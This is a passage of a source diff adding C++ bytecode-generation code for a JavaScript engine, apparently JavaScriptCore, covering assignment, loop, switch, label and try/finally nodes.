+            return emitReadModifyAssignment(generator, generator.finalDestination(dst), local, m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
+        }
+        
+        if (generator.leftHandSideNeedsCopy(m_rightHasAssignments, m_right->isPure(generator))) {
+            RefPtr<RegisterID> result = generator.newTemporary();
+            generator.emitMove(result.get(), local);
+            emitReadModifyAssignment(generator, result.get(), result.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
+            generator.emitMove(local, result.get());
+            return generator.moveToDestinationIfNeeded(dst, result.get());
+        }
+        
+        RegisterID* result = emitReadModifyAssignment(generator, local, local, m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
+        return generator.moveToDestinationIfNeeded(dst, result);
+    }
+
+    int index = 0;
+    size_t depth = 0;
+    JSObject* globalObject = 0;
+    if (generator.findScopedProperty(m_ident, index, depth, true, globalObject) && index != missingSymbolMarker()) {
+        RefPtr<RegisterID> src1 = generator.emitGetScopedVar(generator.tempDestination(dst), depth, index, globalObject);
+        RegisterID* result = emitReadModifyAssignment(generator, generator.finalDestination(dst, src1.get()), src1.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
+        generator.emitPutScopedVar(depth, index, result, globalObject);
+        return result;
+    }
+
+    RefPtr<RegisterID> src1 = generator.tempDestination(dst);
+    generator.emitExpressionInfo(divot() - startOffset() + m_ident.size(), m_ident.size(), 0);
+    RefPtr<RegisterID> base = generator.emitResolveWithBase(generator.newTemporary(), src1.get(), m_ident);
+    RegisterID* result = emitReadModifyAssignment(generator, generator.finalDestination(dst, src1.get()), src1.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()), this);
+    return generator.emitPutById(base.get(), m_ident, result);
+}
+
+// ------------------------------ AssignResolveNode -----------------------------------
+
+RegisterID* AssignResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RegisterID* local = generator.registerFor(m_ident)) {
+        if (generator.isLocalConstant(m_ident))
+            return generator.emitNode(dst, m_right);
+        
+        RegisterID* result = generator.emitNode(local, m_right);
+        return generator.moveToDestinationIfNeeded(dst, result);
+    }
+
+    int index = 0;
+    size_t depth = 0;
+    JSObject* globalObject = 0;
+    if (generator.findScopedProperty(m_ident, index, depth, true, globalObject) && index != missingSymbolMarker()) {
+        if (dst == generator.ignoredResult())
+            dst = 0;
+        RegisterID* value = generator.emitNode(dst, m_right);
+        generator.emitPutScopedVar(depth, index, value, globalObject);
+        return value;
+    }
+
+    RefPtr<RegisterID> base = generator.emitResolveBase(generator.newTemporary(), m_ident);
+    if (dst == generator.ignoredResult())
+        dst = 0;
+    RegisterID* value = generator.emitNode(dst, m_right);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitPutById(base.get(), m_ident, value);
+}
+
+// ------------------------------ AssignDotNode -----------------------------------
+
+RegisterID* AssignDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_rightHasAssignments, m_right->isPure(generator));
+    RefPtr<RegisterID> value = generator.destinationForAssignResult(dst);
+    RegisterID* result = generator.emitNode(value.get(), m_right);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutById(base.get(), m_ident, result);
+    return generator.moveToDestinationIfNeeded(dst, result);
+}
+
+// ------------------------------ ReadModifyDotNode -----------------------------------
+
+RegisterID* ReadModifyDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_rightHasAssignments, m_right->isPure(generator));
+
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> value = generator.emitGetById(generator.tempDestination(dst), base.get(), m_ident);
+    RegisterID* updatedValue = emitReadModifyAssignment(generator, generator.finalDestination(dst, value.get()), value.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitPutById(base.get(), m_ident, updatedValue);
+}
+
+// ------------------------------ AssignErrorNode -----------------------------------
+
+RegisterID* AssignErrorNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    return emitThrowError(generator, ReferenceError, "Left side of assignment is not a reference.");
+}
+
+// ------------------------------ AssignBracketNode -----------------------------------
+
+RegisterID* AssignBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_subscriptHasAssignments || m_rightHasAssignments, m_subscript->isPure(generator) && m_right->isPure(generator));
+    RefPtr<RegisterID> property = generator.emitNodeForLeftHandSide(m_subscript, m_rightHasAssignments, m_right->isPure(generator));
+    RefPtr<RegisterID> value = generator.destinationForAssignResult(dst);
+    RegisterID* result = generator.emitNode(value.get(), m_right);
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutByVal(base.get(), property.get(), result);
+    return generator.moveToDestinationIfNeeded(dst, result);
+}
+
+// ------------------------------ ReadModifyBracketNode -----------------------------------
+
+RegisterID* ReadModifyBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_subscriptHasAssignments || m_rightHasAssignments, m_subscript->isPure(generator) && m_right->isPure(generator));
+    RefPtr<RegisterID> property = generator.emitNodeForLeftHandSide(m_subscript, m_rightHasAssignments, m_right->isPure(generator));
+
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> value = generator.emitGetByVal(generator.tempDestination(dst), base.get(), property.get());
+    RegisterID* updatedValue = emitReadModifyAssignment(generator, generator.finalDestination(dst, value.get()), value.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutByVal(base.get(), property.get(), updatedValue);
+
+    return updatedValue;
+}
+
+// ------------------------------ CommaNode ------------------------------------
+
+RegisterID* CommaNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    ASSERT(m_expressions.size() > 1);
+    for (size_t i = 0; i < m_expressions.size() - 1; i++)
+        generator.emitNode(generator.ignoredResult(), m_expressions[i]);
+    return generator.emitNode(dst, m_expressions.last());
+}
+
+// ------------------------------ ConstDeclNode ------------------------------------
+
+RegisterID* ConstDeclNode::emitCodeSingle(BytecodeGenerator& generator)
+{
+    if (RegisterID* local = generator.constRegisterFor(m_ident)) {
+        if (!m_init)
+            return local;
+
+        return generator.emitNode(local, m_init);
+    }
+
+    if (generator.codeType() != EvalCode) {
+        if (m_init)
+            return generator.emitNode(m_init);
+        else
+            return generator.emitResolve(generator.newTemporary(), m_ident);
+    }
+    // FIXME: While this code should only be hit in eval code, it will potentially
+    // assign to the wrong base if m_ident exists in an intervening dynamic scope.
+    RefPtr<RegisterID> base = generator.emitResolveBase(generator.newTemporary(), m_ident);
+    RegisterID* value = m_init ? generator.emitNode(m_init) : generator.emitLoad(0, jsUndefined());
+    return generator.emitPutById(base.get(), m_ident, value);
+}
+
+RegisterID* ConstDeclNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    RegisterID* result = 0;
+    for (ConstDeclNode* n = this; n; n = n->m_next)
+        result = n->emitCodeSingle(generator);
+
+    return result;
+}
+
+// ------------------------------ ConstStatementNode -----------------------------
+
+RegisterID* ConstStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    return generator.emitNode(m_next);
+}
+
+// ------------------------------ SourceElements -------------------------------
+
+
+inline StatementNode* SourceElements::lastStatement() const
+{
+    size_t size = m_statements.size();
+    return size ? m_statements[size - 1] : 0;
+}
+
+inline void SourceElements::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    size_t size = m_statements.size();
+    for (size_t i = 0; i < size; ++i)
+        generator.emitNode(dst, m_statements[i]);
+}
+
+// ------------------------------ BlockNode ------------------------------------
+
+inline StatementNode* BlockNode::lastStatement() const
+{
+    return m_statements ? m_statements->lastStatement() : 0;
+}
+
+RegisterID* BlockNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (m_statements)
+        m_statements->emitBytecode(generator, dst);
+    return 0;
+}
+
+// ------------------------------ EmptyStatementNode ---------------------------
+
+RegisterID* EmptyStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    return dst;
+}
+
+// ------------------------------ DebuggerStatementNode ---------------------------
+
+RegisterID* DebuggerStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(DidReachBreakpoint, firstLine(), lastLine());
+    return dst;
+}
+
+// ------------------------------ ExprStatementNode ----------------------------
+
+RegisterID* ExprStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    ASSERT(m_expr);
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine()); 
+    return generator.emitNode(dst, m_expr);
+}
+
+// ------------------------------ VarStatementNode ----------------------------
+
+RegisterID* VarStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    ASSERT(m_expr);
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    return generator.emitNode(m_expr);
+}
+
+// ------------------------------ IfNode ---------------------------------------
+
+RegisterID* IfNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    
+    RefPtr<Label> afterThen = generator.newLabel();
+
+    if (m_condition->hasConditionContextCodegen()) {
+        RefPtr<Label> beforeThen = generator.newLabel();
+        generator.emitNodeInConditionContext(m_condition, beforeThen.get(), afterThen.get(), true);
+        generator.emitLabel(beforeThen.get());
+    } else {
+        RegisterID* cond = generator.emitNode(m_condition);
+        generator.emitJumpIfFalse(cond, afterThen.get());
+    }
+
+    generator.emitNode(dst, m_ifBlock);
+    generator.emitLabel(afterThen.get());
+
+    // FIXME: This should return the last statement executed so that it can be returned as a Completion.
+    return 0;
+}
+
+// ------------------------------ IfElseNode ---------------------------------------
+
+RegisterID* IfElseNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    
+    RefPtr<Label> beforeElse = generator.newLabel();
+    RefPtr<Label> afterElse = generator.newLabel();
+
+    if (m_condition->hasConditionContextCodegen()) {
+        RefPtr<Label> beforeThen = generator.newLabel();
+        generator.emitNodeInConditionContext(m_condition, beforeThen.get(), beforeElse.get(), true);
+        generator.emitLabel(beforeThen.get());
+    } else {
+        RegisterID* cond = generator.emitNode(m_condition);
+        generator.emitJumpIfFalse(cond, beforeElse.get());
+    }
+
+    generator.emitNode(dst, m_ifBlock);
+    generator.emitJump(afterElse.get());
+
+    generator.emitLabel(beforeElse.get());
+
+    generator.emitNode(dst, m_elseBlock);
+
+    generator.emitLabel(afterElse.get());
+
+    // FIXME: This should return the last statement executed so that it can be returned as a Completion.
+    return 0;
+}
+
+// ------------------------------ DoWhileNode ----------------------------------
+
+RegisterID* DoWhileNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
+
+    RefPtr<Label> topOfLoop = generator.newLabel();
+    generator.emitLabel(topOfLoop.get());
+
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+   
+    RefPtr<RegisterID> result = generator.emitNode(dst, m_statement);
+
+    generator.emitLabel(scope->continueTarget());
+    generator.emitDebugHook(WillExecuteStatement, m_expr->lineNo(), m_expr->lineNo());
+    if (m_expr->hasConditionContextCodegen())
+        generator.emitNodeInConditionContext(m_expr, topOfLoop.get(), scope->breakTarget(), false);
+    else {
+        RegisterID* cond = generator.emitNode(m_expr);
+        generator.emitJumpIfTrue(cond, topOfLoop.get());
+    }
+
+    generator.emitLabel(scope->breakTarget());
+    return result.get();
+}
+
+// ------------------------------ WhileNode ------------------------------------
+
+RegisterID* WhileNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
+
+    generator.emitJump(scope->continueTarget());
+
+    RefPtr<Label> topOfLoop = generator.newLabel();
+    generator.emitLabel(topOfLoop.get());
+    
+    generator.emitNode(dst, m_statement);
+
+    generator.emitLabel(scope->continueTarget());
+    generator.emitDebugHook(WillExecuteStatement, m_expr->lineNo(), m_expr->lineNo());
+
+    if (m_expr->hasConditionContextCodegen())
+        generator.emitNodeInConditionContext(m_expr, topOfLoop.get(), scope->breakTarget(), false);
+    else {
+        RegisterID* cond = generator.emitNode(m_expr);
+        generator.emitJumpIfTrue(cond, topOfLoop.get());
+    }
+
+    generator.emitLabel(scope->breakTarget());
+    
+    // FIXME: This should return the last statement executed so that it can be returned as a Completion
+    return 0;
+}
+
+// ------------------------------ ForNode --------------------------------------
+
+RegisterID* ForNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
+
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+
+    if (m_expr1)
+        generator.emitNode(generator.ignoredResult(), m_expr1);
+
+    RefPtr<Label> condition = generator.newLabel();
+    generator.emitJump(condition.get());
+
+    RefPtr<Label> topOfLoop = generator.newLabel();
+    generator.emitLabel(topOfLoop.get());
+
+    RefPtr<RegisterID> result = generator.emitNode(dst, m_statement);
+
+    generator.emitLabel(scope->continueTarget());
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    if (m_expr3)
+        generator.emitNode(generator.ignoredResult(), m_expr3);
+
+    generator.emitLabel(condition.get());
+    if (m_expr2) {
+        if (m_expr2->hasConditionContextCodegen())
+            generator.emitNodeInConditionContext(m_expr2, topOfLoop.get(), scope->breakTarget(), false);
+        else {
+            RegisterID* cond = generator.emitNode(m_expr2);
+            generator.emitJumpIfTrue(cond, topOfLoop.get());
+        }
+    } else
+        generator.emitJump(topOfLoop.get());
+
+    generator.emitLabel(scope->breakTarget());
+    return result.get();
+}
+
+// ------------------------------ ForInNode ------------------------------------
+
+RegisterID* ForInNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
+
+    if (!m_lexpr->isLocation())
+        return emitThrowError(generator, ReferenceError, "Left side of for-in statement is not a reference.");
+
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+
+    if (m_init)
+        generator.emitNode(generator.ignoredResult(), m_init);
+
+    RefPtr<RegisterID> base = generator.newTemporary();
+    generator.emitNode(base.get(), m_expr);
+    RefPtr<RegisterID> i = generator.newTemporary();
+    RefPtr<RegisterID> size = generator.newTemporary();
+    RefPtr<RegisterID> expectedSubscript;
+    RefPtr<RegisterID> iter = generator.emitGetPropertyNames(generator.newTemporary(), base.get(), i.get(), size.get(), scope->breakTarget());
+    generator.emitJump(scope->continueTarget());
+
+    RefPtr<Label> loopStart = generator.newLabel();
+    generator.emitLabel(loopStart.get());
+
+    RegisterID* propertyName;
+    bool optimizedForinAccess = false;
+    if (m_lexpr->isResolveNode()) {
+        const Identifier& ident = static_cast<ResolveNode*>(m_lexpr)->identifier();
+        propertyName = generator.registerFor(ident);
+        if (!propertyName) {
+            propertyName = generator.newTemporary();
+            RefPtr<RegisterID> protect = propertyName;
+            RegisterID* base = generator.emitResolveBase(generator.newTemporary(), ident);
+
+            generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+            generator.emitPutById(base, ident, propertyName);
+        } else {
+            expectedSubscript = generator.emitMove(generator.newTemporary(), propertyName);
+            generator.pushOptimisedForIn(expectedSubscript.get(), iter.get(), i.get(), propertyName);
+            optimizedForinAccess = true;
+        }
+    } else if (m_lexpr->isDotAccessorNode()) {
+        DotAccessorNode* assignNode = static_cast<DotAccessorNode*>(m_lexpr);
+        const Identifier& ident = assignNode->identifier();
+        propertyName = generator.newTemporary();
+        RefPtr<RegisterID> protect = propertyName;
+        RegisterID* base = generator.emitNode(assignNode->base());
+
+        generator.emitExpressionInfo(assignNode->divot(), assignNode->startOffset(), assignNode->endOffset());
+        generator.emitPutById(base, ident, propertyName);
+    } else {
+        ASSERT(m_lexpr->isBracketAccessorNode());
+        BracketAccessorNode* assignNode = static_cast<BracketAccessorNode*>(m_lexpr);
+        propertyName = generator.newTemporary();
+        RefPtr<RegisterID> protect = propertyName;
+        RefPtr<RegisterID> base = generator.emitNode(assignNode->base());
+        RegisterID* subscript = generator.emitNode(assignNode->subscript());
+        
+        generator.emitExpressionInfo(assignNode->divot(), assignNode->startOffset(), assignNode->endOffset());
+        generator.emitPutByVal(base.get(), subscript, propertyName);
+    }   
+
+    generator.emitNode(dst, m_statement);
+
+    if (optimizedForinAccess)
+        generator.popOptimisedForIn();
+
+    generator.emitLabel(scope->continueTarget());
+    generator.emitNextPropertyName(propertyName, base.get(), i.get(), size.get(), iter.get(), loopStart.get());
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    generator.emitLabel(scope->breakTarget());
+    return dst;
+}
+
+// ------------------------------ ContinueNode ---------------------------------
+
+// ECMA 12.7
+RegisterID* ContinueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    
+    LabelScope* scope = generator.continueTarget(m_ident);
+
+    if (!scope)
+        return m_ident.isEmpty()
+            ? emitThrowError(generator, SyntaxError, "Invalid continue statement.")
+            : emitThrowError(generator, SyntaxError, "Undefined label: '%s'.", m_ident);
+
+    generator.emitJumpScopes(scope->continueTarget(), scope->scopeDepth());
+    return dst;
+}
+
+// ------------------------------ BreakNode ------------------------------------
+
+// ECMA 12.8
+RegisterID* BreakNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    
+    LabelScope* scope = generator.breakTarget(m_ident);
+    
+    if (!scope)
+        return m_ident.isEmpty()
+            ? emitThrowError(generator, SyntaxError, "Invalid break statement.")
+            : emitThrowError(generator, SyntaxError, "Undefined label: '%s'.", m_ident);
+
+    generator.emitJumpScopes(scope->breakTarget(), scope->scopeDepth());
+    return dst;
+}
+
+// ------------------------------ ReturnNode -----------------------------------
+
+RegisterID* ReturnNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    if (generator.codeType() != FunctionCode)
+        return emitThrowError(generator, SyntaxError, "Invalid return statement.");
+
+    if (dst == generator.ignoredResult())
+        dst = 0;
+    RegisterID* r0 = m_value ? generator.emitNode(dst, m_value) : generator.emitLoad(dst, jsUndefined());
+    RefPtr<RegisterID> returnRegister;
+    if (generator.scopeDepth()) {
+        RefPtr<Label> l0 = generator.newLabel();
+        if (generator.hasFinaliser() && !r0->isTemporary()) {
+            returnRegister = generator.emitMove(generator.newTemporary(), r0);
+            r0 = returnRegister.get();
+        }
+        generator.emitJumpScopes(l0.get(), 0);
+        generator.emitLabel(l0.get());
+    }
+    generator.emitDebugHook(WillLeaveCallFrame, firstLine(), lastLine());
+    return generator.emitReturn(r0);
+}
+
+// ------------------------------ WithNode -------------------------------------
+
+RegisterID* WithNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    
+    RefPtr<RegisterID> scope = generator.newTemporary();
+    generator.emitNode(scope.get(), m_expr); // scope must be protected until popped
+    generator.emitExpressionInfo(m_divot, m_expressionLength, 0);
+    generator.emitPushScope(scope.get());
+    RegisterID* result = generator.emitNode(dst, m_statement);
+    generator.emitPopScope();
+    return result;
+}
+
+// ------------------------------ CaseClauseNode --------------------------------
+
+inline void CaseClauseNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (m_statements)
+        m_statements->emitBytecode(generator, dst);
+}
+
+// ------------------------------ CaseBlockNode --------------------------------
+
+enum SwitchKind { 
+    SwitchUnset = 0,
+    SwitchNumber = 1, 
+    SwitchString = 2, 
+    SwitchNeither = 3 
+};
+
+static void processClauseList(ClauseListNode* list, Vector<ExpressionNode*, 8>& literalVector, SwitchKind& typeForTable, bool& singleCharacterSwitch, int32_t& min_num, int32_t& max_num)
+{
+    for (; list; list = list->getNext()) {
+        ExpressionNode* clauseExpression = list->getClause()->expr();
+        literalVector.append(clauseExpression);
+        if (clauseExpression->isNumber()) {
+            double value = static_cast<NumberNode*>(clauseExpression)->value();
+            int32_t intVal = static_cast<int32_t>(value);
+            if ((typeForTable & ~SwitchNumber) || (intVal != value)) {
+                typeForTable = SwitchNeither;
+                break;
+            }
+            if (intVal < min_num)
+                min_num = intVal;
+            if (intVal > max_num)
+                max_num = intVal;
+            typeForTable = SwitchNumber;
+            continue;
+        }
+        if (clauseExpression->isString()) {
+            if (typeForTable & ~SwitchString) {
+                typeForTable = SwitchNeither;
+                break;
+            }
+            const UString& value = static_cast<StringNode*>(clauseExpression)->value().ustring();
+            if (singleCharacterSwitch &= value.size() == 1) {
+                int32_t intVal = value.rep()->characters()[0];
+                if (intVal < min_num)
+                    min_num = intVal;
+                if (intVal > max_num)
+                    max_num = intVal;
+            }
+            typeForTable = SwitchString;
+            continue;
+        }
+        typeForTable = SwitchNeither;
+        break;        
+    }
+}
+    
+SwitchInfo::SwitchType CaseBlockNode::tryOptimizedSwitch(Vector<ExpressionNode*, 8>& literalVector, int32_t& min_num, int32_t& max_num)
+{
+    SwitchKind typeForTable = SwitchUnset;
+    bool singleCharacterSwitch = true;
+    
+    processClauseList(m_list1, literalVector, typeForTable, singleCharacterSwitch, min_num, max_num);
+    processClauseList(m_list2, literalVector, typeForTable, singleCharacterSwitch, min_num, max_num);
+    
+    if (typeForTable == SwitchUnset || typeForTable == SwitchNeither)
+        return SwitchInfo::SwitchNone;
+    
+    if (typeForTable == SwitchNumber) {
+        int32_t range = max_num - min_num;
+        if (min_num <= max_num && range <= 1000 && (range / literalVector.size()) < 10)
+            return SwitchInfo::SwitchImmediate;
+        return SwitchInfo::SwitchNone;
+    } 
+    
+    ASSERT(typeForTable == SwitchString);
+    
+    if (singleCharacterSwitch) {
+        int32_t range = max_num - min_num;
+        if (min_num <= max_num && range <= 1000 && (range / literalVector.size()) < 10)
+            return SwitchInfo::SwitchCharacter;
+    }
+
+    return SwitchInfo::SwitchString;
+}
+
+RegisterID* CaseBlockNode::emitBytecodeForBlock(BytecodeGenerator& generator, RegisterID* switchExpression, RegisterID* dst)
+{
+    RefPtr<Label> defaultLabel;
+    Vector<RefPtr<Label>, 8> labelVector;
+    Vector<ExpressionNode*, 8> literalVector;
+    int32_t min_num = std::numeric_limits<int32_t>::max();
+    int32_t max_num = std::numeric_limits<int32_t>::min();
+    SwitchInfo::SwitchType switchType = tryOptimizedSwitch(literalVector, min_num, max_num);
+
+    if (switchType != SwitchInfo::SwitchNone) {
+        // Prepare the various labels
+        for (uint32_t i = 0; i < literalVector.size(); i++)
+            labelVector.append(generator.newLabel());
+        defaultLabel = generator.newLabel();
+        generator.beginSwitch(switchExpression, switchType);
+    } else {
+        // Setup jumps
+        for (ClauseListNode* list = m_list1; list; list = list->getNext()) {
+            RefPtr<RegisterID> clauseVal = generator.newTemporary();
+            generator.emitNode(clauseVal.get(), list->getClause()->expr());
+            generator.emitBinaryOp(op_stricteq, clauseVal.get(), clauseVal.get(), switchExpression, OperandTypes());
+            labelVector.append(generator.newLabel());
+            generator.emitJumpIfTrue(clauseVal.get(), labelVector[labelVector.size() - 1].get());
+        }
+        
+        for (ClauseListNode* list = m_list2; list; list = list->getNext()) {
+            RefPtr<RegisterID> clauseVal = generator.newTemporary();
+            generator.emitNode(clauseVal.get(), list->getClause()->expr());
+            generator.emitBinaryOp(op_stricteq, clauseVal.get(), clauseVal.get(), switchExpression, OperandTypes());
+            labelVector.append(generator.newLabel());
+            generator.emitJumpIfTrue(clauseVal.get(), labelVector[labelVector.size() - 1].get());
+        }
+        defaultLabel = generator.newLabel();
+        generator.emitJump(defaultLabel.get());
+    }
+
+    RegisterID* result = 0;
+
+    size_t i = 0;
+    for (ClauseListNode* list = m_list1; list; list = list->getNext()) {
+        generator.emitLabel(labelVector[i++].get());
+        list->getClause()->emitBytecode(generator, dst);
+    }
+
+    if (m_defaultClause) {
+        generator.emitLabel(defaultLabel.get());
+        m_defaultClause->emitBytecode(generator, dst);
+    }
+
+    for (ClauseListNode* list = m_list2; list; list = list->getNext()) {
+        generator.emitLabel(labelVector[i++].get());
+        list->getClause()->emitBytecode(generator, dst);
+    }
+    if (!m_defaultClause)
+        generator.emitLabel(defaultLabel.get());
+
+    ASSERT(i == labelVector.size());
+    if (switchType != SwitchInfo::SwitchNone) {
+        ASSERT(labelVector.size() == literalVector.size());
+        generator.endSwitch(labelVector.size(), labelVector.data(), literalVector.data(), defaultLabel.get(), min_num, max_num);
+    }
+    return result;
+}
+
+// ------------------------------ SwitchNode -----------------------------------
+
+RegisterID* SwitchNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+    
+    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Switch);
+
+    RefPtr<RegisterID> r0 = generator.emitNode(m_expr);
+    RegisterID* r1 = m_block->emitBytecodeForBlock(generator, r0.get(), dst);
+
+    generator.emitLabel(scope->breakTarget());
+    return r1;
+}
+
+// ------------------------------ LabelNode ------------------------------------
+
+RegisterID* LabelNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+
+    if (generator.breakTarget(m_name))
+        return emitThrowError(generator, SyntaxError, "Duplicate label: %s.", m_name);
+
+    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::NamedLabel, &m_name);
+    RegisterID* r0 = generator.emitNode(dst, m_statement);
+
+    generator.emitLabel(scope->breakTarget());
+    return r0;
+}
+
+// ------------------------------ ThrowNode ------------------------------------
+
+RegisterID* ThrowNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+
+    if (dst == generator.ignoredResult())
+        dst = 0;
+    RefPtr<RegisterID> expr = generator.emitNode(m_expr);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitThrow(expr.get());
+    return 0;
+}
+
+// ------------------------------ TryNode --------------------------------------
+
+RegisterID* TryNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    // NOTE: The catch and finally blocks must be labeled explicitly, so the
+    // optimizer knows they may be jumped to from anywhere.
+
+    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
+
+    RefPtr<Label> tryStartLabel = generator.newLabel();
+    RefPtr<Label> finallyStart;
+    RefPtr<RegisterID> finallyReturnAddr;
+    if (m_finallyBlock) {
+        finallyStart = generator.newLabel();
+        finallyReturnAddr = generator.newTemporary();
+        generator.pushFinallyContext(finallyStart.get(), finallyReturnAddr.get());
+    }
+
+    generator.emitLabel(tryStartLabel.get());
+    generator.emitNode(dst, m_tryBlock);
+
+    if (m_catchBlock) {
+        RefPtr<Label> catchEndLabel = generator.newLabel();
+        
+        // Normal path: jump over the catch block.
+        generator.emitJump(catchEndLabel.get());
+
+        // Uncaught exception path: the catch block.
+        RefPtr<Label> here = generator.emitLabel(generator.newLabel().get());
+        RefPtr<RegisterID> exceptionRegister = generator.emitCatch(generator.newTemporary(), tryStartLabel.get(), here.get());
+        if (m_catchHasEval) {
+            RefPtr<RegisterID> dynamicScopeObject = generator.emitNewObject(generator.newTemporary());
+            generator.emitPutById(dynamicScopeObject.get(), m_exceptionIdent, exceptionRegister.get());
+            generator.emitMove(exceptionRegister.get(), dynamicScopeObject.get());
+            generator.emitPushScope(exceptionRegister.get());
+        } else
+            generator.emitPushNewScope(exceptionRegister.get(), m_exceptionIdent, exceptionRegister.get());
+        generator.emitNode(dst, m_catchBlock);
+        generator.emitPopScope();
+        generator.emitLabel(catchEndLabel.get());
+    }
+
+    if (m_finallyBlock) {
+        generator.popFinallyContext();
+        // there may be important registers live at the time we jump
+        // to a finally block (such as for a return or throw) so we
+        // ref the highest register ever used as a conservative
+        // approach to not clobbering anything important
+        RefPtr<RegisterID> highestUsedRegister = generator.highestUsedRegister();
+        RefPtr<Label> finallyEndLabel = generator.newLabel();
+
+        // Normal path: invoke the finally block, then jump over it.
+        generator.emitJumpSubroutine(finallyReturnAddr.get(), finallyStart.get());
+        generator.emitJump(finallyEndLabel.get());
+
+        // Uncaught exception path: invoke the finally block, then re-throw the exception.
+        RefPtr<Label> here = generator.emitLabel(generator.newLabel().get());
+        RefPtr<RegisterID> tempExceptionRegister = generator.emitCatch(generator.newTemporary(), tryStartLabel.get(), here.get());
+        generator.emitJumpSubroutine(finallyReturnAddr.get(), finallyStart.get());
+        generator.emitThrow(tempExceptionRegister.get());
+
+        // The finally block.
+        generator.emitLabel(finallyStart.get());
+        generator.emitNode(dst, m_finallyBlock);
+        generator.emitSubroutineReturn(finallyReturnAddr.get());
+
